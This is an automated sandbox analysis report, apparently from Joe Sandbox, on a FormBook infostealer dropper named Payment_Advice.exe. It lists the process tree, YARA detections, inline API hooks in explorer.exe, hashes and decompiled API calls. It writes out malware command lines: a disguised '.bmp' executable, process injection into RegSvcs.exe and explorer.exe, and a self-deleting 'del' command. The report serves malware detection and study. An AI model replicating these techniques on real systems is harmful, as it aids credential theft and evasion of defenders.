Oct 6, 2023 15:48:48.156855106 CEST	148	IN	HTTP/1.1 403 Forbidden Date: Fri, 06 Oct 2023 13:48:48 GMT Content-Type: text/html Content-Length: 146 Connection: close Server: nginx Vary: Accept-Encoding Data Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 34 30 33 20 46 6f 72 62 69 64 64 65 6e 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 34 30 33 20 46 6f 72 62 69 64 64 65 6e 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 6e 67 69 6e 78 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <html><head><title>403 Forbidden</title></head><body><center><h1>403 Forbidden</h1></center><hr><center>nginx</center></body></html>

Code Manipulations

User Modules

Hook Summary

Function Name	Hook Type	Active in Processes
PeekMessageA	INLINE	explorer.exe
PeekMessageW	INLINE	explorer.exe
GetMessageW	INLINE	explorer.exe
GetMessageA	INLINE	explorer.exe

Processes

Process: explorer.exe, Module: user32.dll

Function Name	Hook Type	New Data
PeekMessageA	INLINE	0x48 0x8B 0xB8 0x8C 0xCE 0xE6
PeekMessageW	INLINE	0x48 0x8B 0xB8 0x84 0x4E 0xE6
GetMessageW	INLINE	0x48 0x8B 0xB8 0x84 0x4E 0xE6
GetMessageA	INLINE	0x48 0x8B 0xB8 0x8C 0xCE 0xE6

Target ID:	0
Start time:	15:45:01
Start date:	06/10/2023
Path:	C:\Users\user\Desktop\Payment_Advice.exe
Wow64 process (32bit):	true
Commandline:	C:\Users\user\Desktop\Payment_Advice.exe
Imagebase:	0x500000
File size:	1'131'860 bytes
MD5 hash:	15B3674E7FE8C5FE5284BC290A09ECB8
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	low
Has exited:	true

Show Windows behavior

Target ID:	2
Start time:	15:45:06
Start date:	06/10/2023
Path:	C:\Windows\SysWOW64\wscript.exe
Wow64 process (32bit):	true
Commandline:	"C:\Windows\System32\WScript.exe" "C:\Users\user\AppData\Local\Temp\RarSFX0\pis-e.vbe"
Imagebase:	0xe20000
File size:	147'456 bytes
MD5 hash:	FF00E0480075B095948000BDC66E81F0
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	low
Has exited:	true

Show Windows behavior

Target ID:	3
Start time:	15:45:14
Start date:	06/10/2023
Path:	C:\Windows\SysWOW64\cmd.exe
Wow64 process (32bit):	true
Commandline:	"C:\Windows\System32\cmd.exe" /c ewdbwwfpdh.bmp fjrpidauk.jpg
Imagebase:	0x7ff67e6d0000
File size:	236'544 bytes
MD5 hash:	D0FCE3AFA6AA1D58CE9FA336CC2B675B
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	4
Start time:	15:45:14
Start date:	06/10/2023
Path:	C:\Windows\System32\conhost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Imagebase:	0x7ff6ee680000
File size:	862'208 bytes
MD5 hash:	0D698AF330FD17BEE3BF90011D49251D
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	moderate
Has exited:	true

Show Windows behavior

Target ID:	6
Start time:	15:45:14
Start date:	06/10/2023
Path:	C:\Users\user\AppData\Local\Temp\RarSFX0\ewdbwwfpdh.bmp
Wow64 process (32bit):	true
Commandline:	ewdbwwfpdh.bmp fjrpidauk.jpg
Imagebase:	0x170000
File size:	947'288 bytes
MD5 hash:	874798CB576E238642281B10189B031C
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Yara matches:	Rule: JoeSecurity_FormBook, Description: Yara detected FormBook, Source: 00000006.00000003.1581336819.000000000106B000.00000004.00000020.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_FormBook_1, Description: Yara detected FormBook, Source: 00000006.00000003.1581336819.000000000106B000.00000004.00000020.00020000.00000000.sdmp, Author: Joe Security Rule: Windows_Trojan_Formbook_1112e116, Description: unknown, Source: 00000006.00000003.1581336819.000000000106B000.00000004.00000020.00020000.00000000.sdmp, Author: unknown Rule: Formbook_1, Description: autogenerated rule brought to you by yara-signator, Source: 00000006.00000003.1581336819.000000000106B000.00000004.00000020.00020000.00000000.sdmp, Author: Felix Bilstein - yara-signator at cocacoding dot com Rule: Formbook, Description: detect Formbook in memory, Source: 00000006.00000003.1581336819.000000000106B000.00000004.00000020.00020000.00000000.sdmp, Author: JPCERT/CC Incident Response Group Rule: JoeSecurity_FormBook, Description: Yara detected FormBook, Source: 00000006.00000003.1578728915.000000000106C000.00000004.00000020.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_FormBook_1, Description: Yara detected FormBook, Source: 00000006.00000003.1578728915.000000000106C000.00000004.00000020.00020000.00000000.sdmp, Author: Joe Security Rule: Windows_Trojan_Formbook_1112e116, Description: unknown, Source: 00000006.00000003.1578728915.000000000106C000.00000004.00000020.00020000.00000000.sdmp, Author: unknown Rule: Formbook_1, Description: autogenerated rule brought to you by yara-signator, Source: 00000006.00000003.1578728915.000000000106C000.00000004.00000020.00020000.00000000.sdmp, Author: Felix Bilstein - yara-signator at cocacoding dot com Rule: Formbook, Description: detect Formbook in memory, Source: 00000006.00000003.1578728915.000000000106C000.00000004.00000020.00020000.00000000.sdmp, Author: JPCERT/CC Incident Response Group Rule: JoeSecurity_FormBook, Description: Yara detected FormBook, Source: 00000006.00000003.1578835292.00000000010C7000.00000004.00000020.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_FormBook_1, Description: Yara detected FormBook, Source: 00000006.00000003.1578835292.00000000010C7000.00000004.00000020.00020000.00000000.sdmp, Author: Joe Security Rule: Windows_Trojan_Formbook_1112e116, Description: unknown, Source: 00000006.00000003.1578835292.00000000010C7000.00000004.00000020.00020000.00000000.sdmp, Author: unknown Rule: Formbook_1, Description: autogenerated rule brought to you by yara-signator, Source: 00000006.00000003.1578835292.00000000010C7000.00000004.00000020.00020000.00000000.sdmp, Author: Felix Bilstein - yara-signator at cocacoding dot com Rule: Formbook, Description: detect Formbook in memory, Source: 00000006.00000003.1578835292.00000000010C7000.00000004.00000020.00020000.00000000.sdmp, Author: JPCERT/CC Incident Response Group Rule: JoeSecurity_FormBook, Description: Yara detected FormBook, Source: 00000006.00000003.1578787008.000000000109A000.00000004.00000020.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_FormBook_1, Description: Yara detected FormBook, Source: 00000006.00000003.1578787008.000000000109A000.00000004.00000020.00020000.00000000.sdmp, Author: Joe Security Rule: Windows_Trojan_Formbook_1112e116, Description: unknown, Source: 00000006.00000003.1578787008.000000000109A000.00000004.00000020.00020000.00000000.sdmp, Author: unknown Rule: Formbook_1, Description: autogenerated rule brought to you by yara-signator, Source: 00000006.00000003.1578787008.000000000109A000.00000004.00000020.00020000.00000000.sdmp, Author: Felix Bilstein - yara-signator at cocacoding dot com Rule: Formbook, Description: detect Formbook in memory, Source: 00000006.00000003.1578787008.000000000109A000.00000004.00000020.00020000.00000000.sdmp, Author: JPCERT/CC Incident Response Group Rule: JoeSecurity_FormBook, Description: Yara detected FormBook, Source: 00000006.00000003.1579705407.00000000010E2000.00000004.00000020.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_FormBook_1, Description: Yara detected FormBook, Source: 00000006.00000003.1579705407.00000000010E2000.00000004.00000020.00020000.00000000.sdmp, Author: Joe Security Rule: Windows_Trojan_Formbook_1112e116, Description: unknown, Source: 00000006.00000003.1579705407.00000000010E2000.00000004.00000020.00020000.00000000.sdmp, Author: unknown Rule: Formbook_1, Description: autogenerated rule brought to you by yara-signator, Source: 00000006.00000003.1579705407.00000000010E2000.00000004.00000020.00020000.00000000.sdmp, Author: Felix Bilstein - yara-signator at cocacoding dot com Rule: Formbook, Description: detect Formbook in memory, Source: 00000006.00000003.1579705407.00000000010E2000.00000004.00000020.00020000.00000000.sdmp, Author: JPCERT/CC Incident Response Group Rule: JoeSecurity_FormBook, Description: Yara detected FormBook, Source: 00000006.00000003.1580860266.000000000109A000.00000004.00000020.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_FormBook_1, Description: Yara detected FormBook, Source: 00000006.00000003.1580860266.000000000109A000.00000004.00000020.00020000.00000000.sdmp, Author: Joe Security Rule: Windows_Trojan_Formbook_1112e116, Description: unknown, Source: 00000006.00000003.1580860266.000000000109A000.00000004.00000020.00020000.00000000.sdmp, Author: unknown Rule: Formbook_1, Description: autogenerated rule brought to you by yara-signator, Source: 00000006.00000003.1580860266.000000000109A000.00000004.00000020.00020000.00000000.sdmp, Author: Felix Bilstein - yara-signator at cocacoding dot com Rule: Formbook, Description: detect Formbook in memory, Source: 00000006.00000003.1580860266.000000000109A000.00000004.00000020.00020000.00000000.sdmp, Author: JPCERT/CC Incident Response Group Rule: JoeSecurity_FormBook, Description: Yara detected FormBook, Source: 00000006.00000003.1581247037.000000000103D000.00000004.00000020.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_FormBook_1, Description: Yara detected FormBook, Source: 00000006.00000003.1581247037.000000000103D000.00000004.00000020.00020000.00000000.sdmp, Author: Joe Security Rule: Windows_Trojan_Formbook_1112e116, Description: unknown, Source: 00000006.00000003.1581247037.000000000103D000.00000004.00000020.00020000.00000000.sdmp, Author: unknown Rule: Formbook_1, Description: autogenerated rule brought to you by yara-signator, Source: 00000006.00000003.1581247037.000000000103D000.00000004.00000020.00020000.00000000.sdmp, Author: Felix Bilstein - yara-signator at cocacoding dot com Rule: Formbook, Description: detect Formbook in memory, Source: 00000006.00000003.1581247037.000000000103D000.00000004.00000020.00020000.00000000.sdmp, Author: JPCERT/CC Incident Response Group
Antivirus matches:	Detection: 13%, ReversingLabs
Reputation:	low
Has exited:	true

Show Windows behavior

Target ID:	7
Start time:	15:45:17
Start date:	06/10/2023
Path:	C:\Windows\SysWOW64\cmd.exe
Wow64 process (32bit):	true
Commandline:	"C:\Windows\System32\cmd.exe" /c ipconfig /renew
Imagebase:	0xa40000
File size:	236'544 bytes
MD5 hash:	D0FCE3AFA6AA1D58CE9FA336CC2B675B
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	8
Start time:	15:45:17
Start date:	06/10/2023
Path:	C:\Windows\System32\conhost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Imagebase:	0x7ff6ee680000
File size:	862'208 bytes
MD5 hash:	0D698AF330FD17BEE3BF90011D49251D
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	moderate
Has exited:	true

Show Windows behavior

Target ID:	9
Start time:	15:45:18
Start date:	06/10/2023
Path:	C:\Windows\SysWOW64\ipconfig.exe
Wow64 process (32bit):	true
Commandline:	ipconfig /renew
Imagebase:	0x3a0000
File size:	29'184 bytes
MD5 hash:	3A3B9A5E00EF6A3F83BF300E2B6B67BB
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	moderate
Has exited:	true

Show Windows behavior

Target ID:	13
Start time:	15:45:22
Start date:	06/10/2023
Path:	C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe
Imagebase:	0xf0000
File size:	45'984 bytes
MD5 hash:	9D352BC46709F0CB5EC974633A0C3C94
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	moderate
Has exited:	true

Show Windows behavior

Target ID:	14
Start time:	15:45:22
Start date:	06/10/2023
Path:	C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe
Wow64 process (32bit):	true
Commandline:	C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe
Imagebase:	0xc00000
File size:	45'984 bytes
MD5 hash:	9D352BC46709F0CB5EC974633A0C3C94
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Yara matches:	Rule: JoeSecurity_FormBook, Description: Yara detected FormBook, Source: 0000000E.00000002.1647692265.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_FormBook_1, Description: Yara detected FormBook, Source: 0000000E.00000002.1647692265.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Author: Joe Security Rule: Windows_Trojan_Formbook_1112e116, Description: unknown, Source: 0000000E.00000002.1647692265.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Author: unknown Rule: Formbook_1, Description: autogenerated rule brought to you by yara-signator, Source: 0000000E.00000002.1647692265.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Author: Felix Bilstein - yara-signator at cocacoding dot com Rule: Formbook, Description: detect Formbook in memory, Source: 0000000E.00000002.1647692265.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Author: JPCERT/CC Incident Response Group
Reputation:	moderate
Has exited:	true

Show Windows behavior

Target ID:	15
Start time:	15:45:22
Start date:	06/10/2023
Path:	C:\Windows\explorer.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\Explorer.EXE
Imagebase:	0x7ff62d7d0000
File size:	5'141'208 bytes
MD5 hash:	662F4F92FDE3557E86D110526BB578D5
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Yara matches:	Rule: Windows_Trojan_Formbook_772cc62d, Description: unknown, Source: 0000000F.00000002.3875577794.00000000106B5000.00000040.80000000.00040000.00000000.sdmp, Author: unknown
Reputation:	moderate
Has exited:	false

Show Windows behavior

Target ID:	16
Start time:	15:45:26
Start date:	06/10/2023
Path:	C:\Windows\SysWOW64\cmd.exe
Wow64 process (32bit):	true
Commandline:	C:\Windows\SysWOW64\cmd.exe
Imagebase:	0xa40000
File size:	236'544 bytes
MD5 hash:	D0FCE3AFA6AA1D58CE9FA336CC2B675B
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Yara matches:	Rule: JoeSecurity_FormBook, Description: Yara detected FormBook, Source: 00000010.00000002.3843232274.0000000003390000.00000004.00000800.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_FormBook_1, Description: Yara detected FormBook, Source: 00000010.00000002.3843232274.0000000003390000.00000004.00000800.00020000.00000000.sdmp, Author: Joe Security Rule: Windows_Trojan_Formbook_1112e116, Description: unknown, Source: 00000010.00000002.3843232274.0000000003390000.00000004.00000800.00020000.00000000.sdmp, Author: unknown Rule: Formbook_1, Description: autogenerated rule brought to you by yara-signator, Source: 00000010.00000002.3843232274.0000000003390000.00000004.00000800.00020000.00000000.sdmp, Author: Felix Bilstein - yara-signator at cocacoding dot com Rule: Formbook, Description: detect Formbook in memory, Source: 00000010.00000002.3843232274.0000000003390000.00000004.00000800.00020000.00000000.sdmp, Author: JPCERT/CC Incident Response Group Rule: JoeSecurity_FormBook, Description: Yara detected FormBook, Source: 00000010.00000002.3842416015.0000000002B50000.00000040.80000000.00040000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_FormBook_1, Description: Yara detected FormBook, Source: 00000010.00000002.3842416015.0000000002B50000.00000040.80000000.00040000.00000000.sdmp, Author: Joe Security Rule: Windows_Trojan_Formbook_1112e116, Description: unknown, Source: 00000010.00000002.3842416015.0000000002B50000.00000040.80000000.00040000.00000000.sdmp, Author: unknown Rule: Formbook_1, Description: autogenerated rule brought to you by yara-signator, Source: 00000010.00000002.3842416015.0000000002B50000.00000040.80000000.00040000.00000000.sdmp, Author: Felix Bilstein - yara-signator at cocacoding dot com Rule: Formbook, Description: detect Formbook in memory, Source: 00000010.00000002.3842416015.0000000002B50000.00000040.80000000.00040000.00000000.sdmp, Author: JPCERT/CC Incident Response Group Rule: JoeSecurity_FormBook, Description: Yara detected FormBook, Source: 00000010.00000002.3842825880.0000000002F50000.00000040.10000000.00040000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_FormBook_1, Description: Yara detected FormBook, Source: 00000010.00000002.3842825880.0000000002F50000.00000040.10000000.00040000.00000000.sdmp, Author: Joe Security Rule: Windows_Trojan_Formbook_1112e116, Description: unknown, Source: 00000010.00000002.3842825880.0000000002F50000.00000040.10000000.00040000.00000000.sdmp, Author: unknown Rule: Formbook_1, Description: autogenerated rule brought to you by yara-signator, Source: 00000010.00000002.3842825880.0000000002F50000.00000040.10000000.00040000.00000000.sdmp, Author: Felix Bilstein - yara-signator at cocacoding dot com Rule: Formbook, Description: detect Formbook in memory, Source: 00000010.00000002.3842825880.0000000002F50000.00000040.10000000.00040000.00000000.sdmp, Author: JPCERT/CC Incident Response Group
Reputation:	high
Has exited:	false

Show Windows behavior

Target ID:	17
Start time:	15:45:29
Start date:	06/10/2023
Path:	C:\Windows\SysWOW64\cmd.exe
Wow64 process (32bit):	true
Commandline:	/c del "C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe"
Imagebase:	0xa40000
File size:	236'544 bytes
MD5 hash:	D0FCE3AFA6AA1D58CE9FA336CC2B675B
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	18
Start time:	15:45:29
Start date:	06/10/2023
Path:	C:\Windows\System32\conhost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Imagebase:	0x7ff6ee680000
File size:	862'208 bytes
MD5 hash:	0D698AF330FD17BEE3BF90011D49251D
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Execution Graph

Execution Coverage:	10.1%
Dynamic/Decrypted Code Coverage:	0%
Signature Coverage:	9.6%
Total number of Nodes:	1599
Total number of Limit Nodes:	47

Executed Functions

Function 0051DF1E Relevance: 42.2, APIs: 17, Strings: 7, Instructions: 195
filesleeptimeCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

Part of subcall function 00510863: GetModuleHandleW.KERNEL32(kernel32), ref: 0051087C
Part of subcall function 00510863: GetProcAddress.KERNEL32(00000000,SetDllDirectoryW), ref: 0051088E
Part of subcall function 00510863: GetProcAddress.KERNEL32(00000000,SetDefaultDllDirectories), ref: 005108BF

Part of subcall function 0051A64D: GetCurrentDirectoryW.KERNEL32(?,?), ref: 0051A655

Part of subcall function 0051AC16: OleInitialize.OLE32(00000000), ref: 0051AC2F
Part of subcall function 0051AC16: GdiplusStartup.GDIPLUS(?,?,00000000), ref: 0051AC66
Part of subcall function 0051AC16: SHGetMalloc.SHELL32(00548438), ref: 0051AC70

GetCommandLineW.KERNEL32 ref: 0051DF5C
OpenFileMappingW.KERNEL32(000F001F,00000000,winrarsfxmappingfile.tmp), ref: 0051DF83
MapViewOfFile.KERNEL32(00000000,000F001F,00000000,00000000,00007104), ref: 0051DF94
UnmapViewOfFile.KERNEL32(00000000), ref: 0051DFCE

Part of subcall function 0051DBDE: SetEnvironmentVariableW.KERNELBASE(sfxcmd,?), ref: 0051DBF4
Part of subcall function 0051DBDE: SetEnvironmentVariableW.KERNELBASE(sfxpar,-00000002,00000000,?,?,?,00001000), ref: 0051DC30

CloseHandle.KERNEL32(00000000), ref: 0051DFD7
GetModuleFileNameW.KERNEL32(00000000,0055EC90,00000800), ref: 0051DFF2
SetEnvironmentVariableW.KERNELBASE(sfxname,0055EC90), ref: 0051DFFE
GetLocalTime.KERNEL32(?), ref: 0051E009
_swprintf.LIBCMT ref: 0051E048
SetEnvironmentVariableW.KERNEL32(sfxstime,?), ref: 0051E05A
GetModuleHandleW.KERNEL32(00000000), ref: 0051E061
LoadIconW.USER32(00000000,00000064), ref: 0051E078
DialogBoxParamW.USER32(00000000,STARTDLG,00000000,Function_0001B7E0,00000000), ref: 0051E0C9
Sleep.KERNELBASE(?), ref: 0051E0F7
DeleteObject.GDI32 ref: 0051E130
DeleteObject.GDI32(?), ref: 0051E140
CloseHandle.KERNEL32 ref: 0051E183

Strings

sfxname, xrefs: 0051DFF9
STARTDLG, xrefs: 0051E0BE
sfxstime, xrefs: 0051E055
C:\Users\user\Desktop, xrefs: 0051DF33
%4d-%02d-%02d-%02d-%02d-%02d-%03d, xrefs: 0051E039
winrarsfxmappingfile.tmp, xrefs: 0051DF77
xzU, xrefs: 0051E10B

Memory Dump Source

Source File: 00000000.00000002.1549101071.0000000000501000.00000020.00000001.01000000.00000003.sdmp, Offset: 00500000, based on PE: true

Associated: 00000000.00000002.1548984734.0000000000500000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1549138883.0000000000533000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1549193714.000000000053E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1549193714.0000000000545000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1549193714.0000000000562000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1549363309.0000000000563000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_500000_Payment_Advice.jbxd

Similarity

API ID: EnvironmentFileHandleVariable$Module$AddressCloseDeleteObjectProcView$CommandCurrentDialogDirectoryGdiplusIconInitializeLineLoadLocalMallocMappingNameOpenParamSleepStartupTimeUnmap_swprintf
String ID: %4d-%02d-%02d-%02d-%02d-%02d-%03d$C:\Users\user\Desktop$STARTDLG$sfxname$sfxstime$winrarsfxmappingfile.tmp$xzU
API String ID: 3049964643-1481520227
Opcode ID: 0d3f46231f59000367be4a86103ac296756399d1fe774485a827c6086c791dbd
Instruction ID: 2ed8eea9a222feffbad7aea7950c3c5d64d65836c80d0a624b5b068194bdaa2e
Opcode Fuzzy Hash: 0d3f46231f59000367be4a86103ac296756399d1fe774485a827c6086c791dbd
Instruction Fuzzy Hash: C6610975504305BFE320AB64EC5EEAB3FECBBA5705F000429F94592291EB749D8CD761

Uniqueness

Uniqueness Score: -1.00%

Function 0051A6C2 Relevance: 19.4, APIs: 9, Strings: 2, Instructions: 100
memorywindowCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

FindResourceW.KERNEL32(?,PNG,00000000,?,?,?,0051B73D,00000066), ref: 0051A6D5
SizeofResource.KERNEL32(00000000,?,?,?,0051B73D,00000066), ref: 0051A6EC
LoadResource.KERNEL32(00000000,?,?,?,0051B73D,00000066), ref: 0051A703
LockResource.KERNEL32(00000000,?,?,?,0051B73D,00000066), ref: 0051A712
GlobalAlloc.KERNELBASE(00000002,00000000,?,?,?,?,?,0051B73D,00000066), ref: 0051A72D
GlobalLock.KERNEL32(00000000,?,?,?,?,?,0051B73D,00000066), ref: 0051A73E
GlobalUnlock.KERNEL32(00000000), ref: 0051A7C6

Part of subcall function 0051A626: GdipAlloc.GDIPLUS(00000010), ref: 0051A62C

GdipCreateHBITMAPFromBitmap.GDIPLUS(?,?,00FFFFFF), ref: 0051A7A7
GlobalFree.KERNEL32(00000000), ref: 0051A7CD

Strings

FvnQ, xrefs: 0051A762
PNG, xrefs: 0051A6C6

Memory Dump Source

Source File: 00000000.00000002.1549101071.0000000000501000.00000020.00000001.01000000.00000003.sdmp, Offset: 00500000, based on PE: true

Associated: 00000000.00000002.1548984734.0000000000500000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1549138883.0000000000533000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1549193714.000000000053E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1549193714.0000000000545000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1549193714.0000000000562000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1549363309.0000000000563000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_500000_Payment_Advice.jbxd

Similarity

API ID: GlobalResource$AllocGdipLock$BitmapCreateFindFreeFromLoadSizeofUnlock
String ID: FvnQ$PNG
API String ID: 541704414-2645278782
Opcode ID: c55fb92867185f7450c0b85ed215be295b34a5ec911870bfa6e43d2961273e12
Instruction ID: ed2a42bc0f2e1dc95c84d98f232f29d1b0e83a05cab117e75e7ad1994ae0e81f
Opcode Fuzzy Hash: c55fb92867185f7450c0b85ed215be295b34a5ec911870bfa6e43d2961273e12
Instruction Fuzzy Hash: 4F319379601702AFE7119F21EC88D6B7FB9FF95761B040919F805C22A1EB31DD88EB61

Uniqueness

Uniqueness Score: -1.00%

Function 0050A69B Relevance: 7.6, APIs: 5, Instructions: 105
fileCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

FindFirstFileW.KERNELBASE(?,?,?,?,?,?,0050A592,000000FF,?,?), ref: 0050A6C4

Part of subcall function 0050BB03: _wcslen.LIBCMT ref: 0050BB27

FindFirstFileW.KERNEL32(?,?,?,?,00000800,?,?,?,?,0050A592,000000FF,?,?), ref: 0050A6F2
GetLastError.KERNEL32(?,?,00000800,?,?,?,?,0050A592,000000FF,?,?), ref: 0050A6FE
FindNextFileW.KERNEL32(?,?,?,?,?,?,0050A592,000000FF,?,?), ref: 0050A728
GetLastError.KERNEL32(?,?,?,?,0050A592,000000FF,?,?), ref: 0050A734

Memory Dump Source

Source File: 00000000.00000002.1549101071.0000000000501000.00000020.00000001.01000000.00000003.sdmp, Offset: 00500000, based on PE: true

Associated: 00000000.00000002.1548984734.0000000000500000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1549138883.0000000000533000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1549193714.000000000053E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1549193714.0000000000545000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1549193714.0000000000562000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1549363309.0000000000563000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_500000_Payment_Advice.jbxd

Similarity

API ID: FileFind$ErrorFirstLast$Next_wcslen
String ID:
API String ID: 42610566-0
Opcode ID: db087829411246b868f689709e89edc57114701962d1c1211f6b0dd1d705e3e6
Instruction ID: 2c6c818fa8da439dacfb9a5a7500b2a66375f2bea7502245319d67ad7f79ca51
Opcode Fuzzy Hash: db087829411246b868f689709e89edc57114701962d1c1211f6b0dd1d705e3e6
Instruction Fuzzy Hash: 16417176900615ABCB25DF68CC88AEDBBB8FB48350F144196F95AD3240D7346E94CF90

Uniqueness

Uniqueness Score: -1.00%

Function 00527DEE Relevance: 4.5, APIs: 3, Instructions: 20COMMONLIBRARYCODE

Download Yara Rule

APIs

GetCurrentProcess.KERNEL32(?,?,00527DC4,?,0053C300,0000000C,00527F1B,?,00000002,00000000), ref: 00527E0F
TerminateProcess.KERNEL32(00000000,?,00527DC4,?,0053C300,0000000C,00527F1B,?,00000002,00000000), ref: 00527E16
ExitProcess.KERNEL32 ref: 00527E28

Memory Dump Source

Source File: 00000000.00000002.1549101071.0000000000501000.00000020.00000001.01000000.00000003.sdmp, Offset: 00500000, based on PE: true

Associated: 00000000.00000002.1548984734.0000000000500000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1549138883.0000000000533000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1549193714.000000000053E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1549193714.0000000000545000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1549193714.0000000000562000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1549363309.0000000000563000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_500000_Payment_Advice.jbxd

Similarity

API ID: Process$CurrentExitTerminate
String ID:
API String ID: 1703294689-0
Opcode ID: 53b270b7809befb67c00d50076c544e51eceebcbe30ad193a9c3db732b2285cf
Instruction ID: d6e05ecd2fa5a74975f1aafa78612d6d0ef2af3b74b21a026df49a9750a12314
Opcode Fuzzy Hash: 53b270b7809befb67c00d50076c544e51eceebcbe30ad193a9c3db732b2285cf
Instruction Fuzzy Hash: B6E04631000158ABCF02AF60ED0DA4A3F6AFF65341F014494F8098B272CB36DE96EAA0

Uniqueness

Uniqueness Score: -1.00%

Function 0050848E Relevance: 2.5, APIs: 1, Instructions: 960COMMON

Download Yara Rule

APIs

__EH_prolog.LIBCMT ref: 00508493

Memory Dump Source

Source File: 00000000.00000002.1549101071.0000000000501000.00000020.00000001.01000000.00000003.sdmp, Offset: 00500000, based on PE: true

Associated: 00000000.00000002.1548984734.0000000000500000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1549138883.0000000000533000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1549193714.000000000053E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1549193714.0000000000545000.00000004.00000001.01000000.00000003.sdmpDownload File
